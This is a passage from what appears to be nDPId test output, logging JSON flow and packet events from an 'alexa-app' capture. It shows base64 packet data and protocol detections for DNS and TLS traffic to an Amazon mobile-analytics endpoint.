DE8vcYqgXfZc8j\/a\/nipZv07L+dgzaDuSWfRHkmSxfeCTT+47y4HTcr6lw5CfpqK\/3WXKIq9jjTFu4Yq28u91Ivikh0uQ385Qvk\/g=="} +01101{"flow_id":113,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1927,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":579327,"pkt_caplen":555,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":555,"pkt_l4_len":521,"pkt":"ePiC0\/vCAMDKkVoBCABFAAIdR3dAAOcGVpY0XuiGrBAq2AG7sqOllKRdjLiPtFAY\/a9NTwAAFwMBAfC7gaViFDBOWcRey3KbIK\/b0tmGCas7hVWiXlOpWTzWBTJh3Sz+VclJkG2qFBEwsoNDR1r5F8sTTjkOvqoSEoz5kiGq93DbUTy4+ilZhN6V+QTfCrw2HVFBiG04oU3w24InG3rsi20WHeKUlJ3vAOR\/9+b5dJfcaRfluSQbQdmDRFcQCjZNu6FAkrUqRIW+j1zaCiS1H0EVSTehvFBPjI4fQOjmeDkpm2J+lBJQh8G6HI\/GifNFNNWQuNE79BTGoNXQ6\/IauEgizv6fJoNKBgqf9Drj84JMpsObxiv0qz+\/1dLSGlrrDBsT2+V\/WHD\/unQZLWM+9WS+C+fzk5foSudH2UcvBal6pwjFJy\/M3W9YULFnOms1wyZul3lotHWHERw5PxQ4ljJa6ZjjF+CDC\/fo0iZJWwtAJIiN2GA4mAyhbHkL+\/xucQ1zKaY7B3Q133VsYUGk4hJDbbtwP9qfNwgiy\/MLNN8NgR92W\/FpUAQSuxADqo54cv5qVJOxVNHzQadJri3ngJVRV5OCEUbco2q0LoGpwYxCcg6thCamvg38Evb4b59uk2PGMJjhQ1d3iQyUKOxXRr1UtV1cnOfZoN08LWWr2MLSmSN45ndKyu14Yw4JomONkrcYpyz4ii+smCUI7lhbeW6QA9U8m16Sw4Cd"} +02397{"flow_id":112,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1930,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":670852,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcmqpAAEAGpqSsECrYNF7ohrKiAbt67fK7hH1dmFAQAVcItQAAFwMBACBTMeK6lBEp2U7erFGDkF2zVaVQFconEgUqePIt5pxdeRcDAQYwm0mS3v603M+t8F8kvyThXo6lSltet7XQiAa2lqBCAgKmuMIRqslqZaaAZcb3x8U7kDXv5+D+JyChgaTKf3qpZk6ODu\/q\/yXC68NE12ideoCmY2xpruprH8e3Q1J0u1P6HCTIK4mz7IWoqoKzbWM3zPxa0mLMuXWZBCANVKn5p5TIfIOuxF6eO5cmyIwgSBISIv2FkWFlZq6inKIHdMKrDuk7yrKvlBeNiJGbNEcwyjkHB9gbBjLMQLg9J5jcekyPImBEbBy+lmPfbPEyMvb63bYOvv09c\/NNo7KTKXhv1\/kPToA+1lGB4zJ8BrUx\/SKsBLU\/t4gjh0tYypru\/NyXfAoI2lm2HxYf8EL0XF91eCm9WmzD5gBK7tDz3MvhXJvDPygBo6Q+gDyd8WeYQCla60H9YsyrrInQqwMG2U5KNiIcEGCeywF8+ZY4Ut9\/VddSKESDaLW3qM2k0q4sJhpaAGNqZfqfowAngGMw2odYWeSgxIlVsqX55wQXWfWYJ1M85KNPRUCRFw0OzsATxVy5Th8Q0JqrRMaWp273vaY5W9bO4XrDFNnARWwGgiG5sxBYChsCHmTSdYnhnyF6DK2bftBIPKsbWZVQ9uM3vBcGXKukk+iqUmpOiendpXMBzCaJdg4CvXEuEKUqHFywC6w55wZkyYZsUuHKNdZl\/Xq2rkADHXfoyB9y5t\/y+yRlM0mLhIrVBOzbfe8\/6YmLDpJh3uvsvuCbBu3HALrAac\/YFARs\/AIg4QzLGqZU+PW9tQe0E4LX1S\/vIV0rYnoGXoQEgotgqlu45oQnILNMk7n8U4cXxV6V2gOM5aw7dYLAif5VGSHJ83yB4ooOXc4EpRmlGI\/cCD3jh3QJSRbx7Z1aKbUBxDzbn0Xxtmz0QxcQgzXzti6LUiKkJyGDANkmtSGR3IW57ehVy3Y9pyhV+WO2G62M9Go5+UZjqXZuXg79+ATcx5hY2w0z9I2InmbYvoG6h4qvhH5GACXTxddPhO9KLzleQ0d4nyEW9f1o1Uk5ftinvoO31x7vtux1HQZWUfHAToCjJdL45GywIaVpd2NueZ3yZW9mgcq6tjW1f9EIl805yk37mzLHc06U6Xox7y1tCsQvl2\/wtOQH3MxJZjqFchp3460\/HBS67cg89dxFllLjB3wKU58fAOX1fgSfXyKLjtPVIH4un1ylqzC3RD6lmS69dMA51UX2iG+9j0oPcco334wqnrGP3ymed1MzNaho6e1EbwG7cii1qccICduMf4MxbOHHwMdkwLROxZ7w8NyyR76T3zWidceWpQKf8BpDeN8qwUooIcfqBFTwJdvRfVYHOXGoQBTFaJFYgENz236rj6m7ebw8kDvsyzsLHm0KYZNRylN8wBpRfqOczD7OYoOF\/rrJfApRb+mE6NgQhfT53OVVnhfHDPRbYoIzA4CRWChNqBwc0k2rhsXKjYQCAhj6AMJwfDc7qsaB18JQgM6AQynBHUPoQv7UYL8G1kP+\/EKTbQJmNrznwcNjHGzFGxhLU+0O9YWdkWDyTg0bhmGDmuGOGxpmws2Ji9etAqtEAcirUUEYfRyRGHd2qBtMXZ96SpaYpTT1J29MpaLAs9LQ\/MP7ofHb4d8VUH9caE9TZ8MqciFqGGejpX8CGAwNvh841MzEWE0E159xyVGrmT7Be6ISdYgwNIBI8krPEwGvr8gFZe42+OfbbIuNpNEX4Gh\/hYyfj0wkzOFu59BFdCiqkRCSwsME0a0XokRb8CqvicBUfxfk+wugiDUe5hEVDmibc7rpJL092UwfRS9JgvfOE+Z9OC0bN\/9Ce5D\/HRfVT4nHh3Q4nFO7MNv88jBQ\/RVlZ8wa\/wRbJAaxpUefyQaYKE6eMF4bD8VE1z06Vho0O5+i+ZMNK2gc\/Dg="} +02397{"flow_id":110,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1931,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":671164,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcu1pAAEAGhfSsECrYNF7ohrKgAbstn9GN0Qs3rFAQAVcanwAAFwMBACBmIb7Ze9mdEL3umECZS5kuvtg6dcNTeu1X\/\/3YTZY8+BcDAQYwV1K8LZwgulrKf9lM6SUT26TPJ3LbJrRDJr3laCrUdfkdnLvc8ghQmert1ePSGK9wHHWtP7N0DrV8tFqpmjbDHC8r6m\/qdUxA0\/DpJ4fS+0PM+OFWl\/MhWdgHek5EPl\/wYWGugP1XOmrjz5X47mTMqj1pr2uzDNgxp\/MWdaS7bTUwAx8tVq6GEOUZVg0D+hJnHrXaFz1FFnQ5mlguGh3NNk7Sb1oISyXtFSkq1gvLOEvwQ9IL+w5KSuUj0rAt+vLXRTaWNx2dTbWyPmxrHa5jaTeDA6cKJAMLh5kuOzJAe4dmcvVLaf75nv79UQ0OvGdO1GsGH77IezbYbbJ1eXMiTv9TgcVxq35341h5GU8HYcu2LFJhHS3ANDVHBvDuayxTaUMrE8DL7nQw5ERLYF8R3r2WxETqxchmPwPTummra+P21H640tLmQkF56weNwzPWBWf9o\/sXL0xj4S5uV+oiLZeN2K6xD8yxKlG3cA69NoaY63xrnYS2GYM700nV3cULGvBtaKn1yFdai2EKYX2s+xT+hFQOF\/l7yaLdPx1FpXZKEPiILMb41YSdIRy3xU9fa8TjKDATSSTFmigkeg+OIrD0SjR45MmBZfkxXcvPMAdJp1hlAUPMmVbkWuB6wMJRoIAFop0hUnRaBM3jF2VKcJU1D66Ul737gxXJS0C2msYnjIaI2\/NvwCqdCPRpyAaCTf0mI+0GQAwb1tZwwH41WXsaJ+TfMDTjVd5YjrKYce6XmX1MDkWKBuCkBDCj6Ul04P0wsm7iJbYY8cdyisFDtUbQE06N9LHo68ykRouwVzdFyOQvy0dZIyDxTM7b2EGy912IAQY50x0km8EgMaK+hooj+jSlgAsC1cWSaXhEXXMbvHJIqJDDXdKvZdErBmuvete+GujAvzY2YtUWXU02gqwVLR1jf\/dYnv6t9cHj0aR0XIDCni1WD\/GFcyQges62UEIleOtfjCAgdOPekEKoNKu1GMxVWaQYZJdB\/jRzUqIIVETcmv+4D4Z3EuY8yzYivpOVMBpKLMB0FVdIZncqNcDUQhwUqeLnRgHRCEnAxNJyTok82xzr\/xjexrJhTdwA6qo5jFN4imARQoOBv5GsWw8vIOQBj1jxT+OSr4zLWp1iIue3L3q0JItGVv3xRWrYQrLemW7FXifk5Cr0iXDRCTWIUMiAf28qcpKcXTyyELw8lxa4sWN+zETkpwGOcBrGj4l0avfB5U3LxG2WtYXKp84J5SWaytrStG7RrTJtEL9hAE7618cv1NAkJEHPZhphzhvaSGSlPLttx111jtGAqIxKyvXgNo5FocR+pORU3amaBlzZfNkaysT\/CEL5jIx+NshpJKBhu20WYQwByCus8vAmXcrL1gdNuxWvR\/zUd65yJCLMs\/heB5F2bSO3PcO0v+BR1KeGKvwNHG+jSaXWsIlSBFrSJWjghjJYFR3HZE02R18Uc++Lfyynrdj1hwcR7Qlmu7oemHWNXLdyqpLk47Gv1LoEnfo41v9zK+jr9rFTjjHL6sGGEitCkkP90l6s2x8F5CJP+E1TNynhmgMp42uaiUleXT+AwbIptVlLUyrVBVRhaF7UPWzwpCT\/wqB9I4PLumLjvXmnMuaAPBIcEFSg\/dUT77JSbGEbIGxRnFYbFpBFDERjTUnXtrQ\/H6q\/+hp9TVqAsLFY0fw++I7\/er9jHy4FLe5e8u\/mp1MR0RC5hS5nM1gKPpWgiwQ8b4DRdR32p+6rfIFfX41Tu5kcn1NoTKADforsBhvUG2hoLiHtZoja+eYW5siJmQqENHi2Ur5DX1tJHpf+GUyPRDaD7UASYPT9T4CMSG6mC8eadZRUouYU7GyMLeoGxDe1uX3wNmjDMMvkAXGVrd9\/pgT\/rrH+To5li\/X6DaI="} +02403{"flow_id":114,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1932,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":672210,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcCnpAAEAGNtWsECrYNF7ohrKkAbvN5GJyckqsG1AQAVeaNAAAFwMBACCVAsolemIjTXyS\/AxBEL4EvwJ0AgReq+\/dnJ7py5eTpBcDAQZg6xglvGF9hWSdTgHU8J\/p7kC5Mb8Tnz1hzpxpzlSgY9JlhHfddFP0jIAckhlAB8bvDSzSkQOZC9Fwi333Ne2dMboIPIOxSnecNT6oQ3aZGWtoFqVKqPppEL06xLeMyQniid4tFddV264EfoQ\/ki1knEIczVHC371xWjSuvj05y5GWQwpM\/eCB6hqpM9R6hTsTAgihjOAke+CaFu8zCJXg0qNGqKDuA9D3QmzGz8RiD95u2a4kLOpoKEYHHAfTt3bAAvzsqB144p\/+TcHGpqAARQ2K1pp6OdFw+onGNERmDE\/bCJVYXS\/4HHc2JWCDqqMv84+DkviL91ZhESecn5c+FbWCymc0tIc2BNRNI6HdT2lu0sZ+SF6YHekt7iE\/MrOpllBQzCOzQ0Z3V6vLTPF7I+8MTMY6nTj\/JBcyTgOv3PVXXwoJF0f11WA9nRWsNXcK7BDtDbeYRbezBxAvhT08lqHUQd3LogQ3IPc\/abAtJWARzlBYR60cwuIbt3yjlf54qegoswcMJajxXn3FGZCKM\/h89BL1TZVuyFRtzm7xycs+93JVOo\/6hkCxqsO2QPxjeBchB\/tKyXpF8p3JQbTKxMaqqnZC2afJhwGp1rOHeciCyzhzcfoPKxTQEy7WSNtLZi5lMDj9NEGGolQ2e+c6wRBHu8BDwUSl2fPQfX8UBR6W3HXzcZwoNIeVVPmyd67QYZ6NOAGyofuw3t6q6VjwvVo7LI03Sf1lf8yEhphtQlZkNCY8RCXmPsss1ZQBJpldyUhCe1NKxbKpZRItFmefB3+Xh63oiT+nBgfxA4DTAiNi03XR8ePUL\/tVowuXzjNFka8RKvcK9BzZ+y\/iZ\/Xbgc8LI7AQs\/PUUiv1aeWIMBz1bGDKREUSJkSzhaX4uK+5EyCv27gSOkXKdFOOBtL6xYLLGtkFtXS\/pKJ2pI2CRZTKQNX\/cmoM+zEOjMR1PSSOluAESi9nO7yn92OLlaHXThyMsBSIq3rzh6rpBn1tE54aUFgbUCzum29kq9X2\/oAUrOUGIHrn+TEGip691opUerDj2btsgPahiMwnnM2S93HIAEmb3\/JaNbyugRJXSwNSVjnv84prJWkSIJeXOEbVaoMkNKfCQm8uYoxdDgv5HGSJ444Nskh08mq2cqmu\/zKf2DoEMk5PLByuURgUJalOd96QvF0yIFwTBQxuS+3KgljqKRqkkLDnR0r56NYqS5bRegdSuJlD3tmC+sfloI1QL0CANyIwycjklamgHPCdbPo+TL0JGxdDZNnsdAqRFqJ+qUMunJ5IVAI1puEvtaGAy0FlMqd5QWLzXyGttSz85GAbRL1paJxLbxnJznsw\/IG6MJQou2oqwjehxe2S0SUHZZxjo99oyq2zNWbdMcEp0Igt3vpdr0blYcbSxoyuHN3L1OnaIVJ0WTMfxCwfwqUwtPOr\/0oLdY7uE+Mkv0CazNXtdrSgFzqhxm3Xgq45cpgOOeBqy4v7TH\/ES24L69+NbLx8zCoDlHetHIXID8dU8p\/tKex\/X13\/VCHG8+6O2UEUd\/8evInUmNUCU60M0bvZhdxjm\/bo6Kz7iQ6P+qLaVapSr6UgbCYBRfk5Ccw6J6DeY3S9TdCPYauFCZVHAYuY6sWH1j73+OQPmnZyJARMqEHeKdsi3qy76b+u00g\/BlkbH+QBndiz1rLj0szcV2Exmiu+LQVoeggSdFoEavdsy+JmkvU5C3pUQwjMF9bBB7XLgeqitfiFz1nmH99Z86v3SYNpONBBKQ0GfDzdxyERgLsZ7jvl7zCMl8Cc5swSowOld7XDDWiawIfMld2aDSCRGm717RlCE2SgZtqPna+jEcN+PTGFVpGN36EolG02mN1UpTT+b8viZzm7zpC89YNxU99QOQzmWDEh7Qg="} +00425{"flow_id":112,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1933,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":795386,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoVMZAAOcGSzw0XuiGrBAq2AG7sqKEfV2Yeu35FVAQf94xsgAAAAAAAAAA"} +00426{"flow_id":110,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1934,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":795523,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoQFxAAOcGX6Y0XuiGrBAq2AG7sqDRCzesLZ\/X51AQf955jgAAAAAAAAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1937,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1490976115835,"flow_last_seen":0,"flow_tot_l4_data_len":65,"flow_min_l4_data_len":65,"flow_max_l4_data_len":65,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":28614,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_id":115,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1937,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":835926,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"AMDKkaPvePiC0\/vCCABFAABVWl5AAEARM0CsECrYrBAqAW\/GADUAQT0E1ZsBAAABAAAAAAAAD21vYmlsZWFuYWx5dGljcwl1cy1lYXN0LTEJYW1hem9uYXdzA2NvbQAAAQAB"} +00668{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1937,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1490976115835,"flow_last_seen":0,"flow_tot_l4_data_len":65,"flow_min_l4_data_len":65,"flow_max_l4_data_len":65,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":28614,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"mobileanalytics.us-east-1.amazonaws.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00502{"flow_id":115,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1940,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":901902,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"ePiC0\/vCAMDKkaPvCABFAABl30tAAEARrkKsECoBrBAq2AA1b8YAUeVS1ZuBgAABAAEAAAAAD21vYmlsZWFuYWx5dGljcwl1cy1lYXN0LTEJYW1hem9uYXdzA2NvbQAAAQABwAwAAQABAAAAIQAENu8YtA=="} +00695{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1940,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":115,"flow_packet_id":2,"flow_first_seen":1490976115835,"flow_last_seen":1490976115901,"flow_tot_l4_data_len":146,"flow_min_l4_data_len":65,"flow_max_l4_data_len":81,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":28614,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"mobileanalytics.us-east-1.amazonaws.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.239.24.180"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1941,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1490976115905,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.180","src_port":37551,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":116,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1941,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":905314,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8JUVAAEAG7uusECrYNu8YtJKvAbsZEE7TAAAAAKAC\/\/+4mQAAAgQFtAQCCAoA9muWAAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1942,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1490976116084,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.180","src_port":37552,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":117,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1942,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":84560,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8uXBAAEAGWsCsECrYNu8YtJKwAbtgAdLYAAAAAKAC\/\/\/tjwAAAgQFtAQCCAoA9muoAAAAAAEDAwg="} +00429{"flow_id":116,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1943,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":119939,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwcfNAAOcG+0g27xi0rBAq2AG7kq+qRjf5GRBO1HASH\/5e8QAAAgQFtAEDAwY="} +00416{"flow_id":116,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1944,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":121026,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJUZAAEAG7v6sECrYNu8YtJKvAbsZEE7UqkY3+lAQAVepYgAA"} +00770{"flow_id":116,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1945,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":122233,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AMDKkaPvePiC0\/vCCABFAAErJUdAAEAG7fqsECrYNu8YtJKvAbsZEE7UqkY3+lAYAVdXdAAAFgMBAP4BAAD6AwPrW9HSsEakj6mtt\/VNcOse9OO4StwA3f8PEsza4rC61SAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LgAg6urMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACR2toAAP8BAAEAAAAALAAqAAAnbW9iaWxlYW5hbHl0aWNzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIWloAHQAXABjKygABAA=="} +00758{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1945,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":116,"flow_packet_id":4,"flow_first_seen":1490976115905,"flow_last_seen":1490976116122,"flow_tot_l4_data_len":367,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.180","src_port":37551,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00430{"flow_id":117,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1946,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":248422,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwirZAAOcG4oU27xi0rBAq2AG7krCs\/eb6YAHS2XASH\/7iQAAAAgQFtAEDAwY="} +00416{"flow_id":117,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1947,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":249875,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAouXFAAEAGWtOsECrYNu8YtJKwAbtgAdLZrP3m+1AQAVcssgAA"} +00424{"flow_id":116,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1948,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":407314,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoiX1AANsG78Y27xi0rBAq2AG7kq+qRjf6GRBO1FAQARypnQAAAAAAAAAA"} +00425{"flow_id":117,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1949,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":575500,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoj3RAANsG6c827xi0rBAq2AG7krCs\/eb7YAHS2VAQARws7QAAAAAAAAAA"} +00770{"flow_id":116,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1950,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":780259,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AMDKkaPvePiC0\/vCCABFAAErJUhAAEAG7fmsECrYNu8YtJKvAbsZEE7UqkY3+lAYAVdXdAAAFgMBAP4BAAD6AwPrW9HSsEakj6mtt\/VNcOse9OO4StwA3f8PEsza4rC61SAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LgAg6urMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACR2toAAP8BAAEAAAAALAAqAAAnbW9iaWxlYW5hbHl0aWNzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIWloAHQAXABjKygABAA=="} +00416{"flow_id":117,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1955,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":796397,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAouXJAAEAGWtKsECrYNu8YtJKwAbtgAdLZrP3m+1ARAVcssQAA"} +00446{"flow_id":84,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1958,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976116,"pkt_ts_usec":960511,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8m\/pAAEAGPh+sECrYCsl+8Z0yH5CNbMQpAAAAAKAC\/\/9sDQAAAgQFtAQCCAoA9mwAAAAAAAEDAwg="} 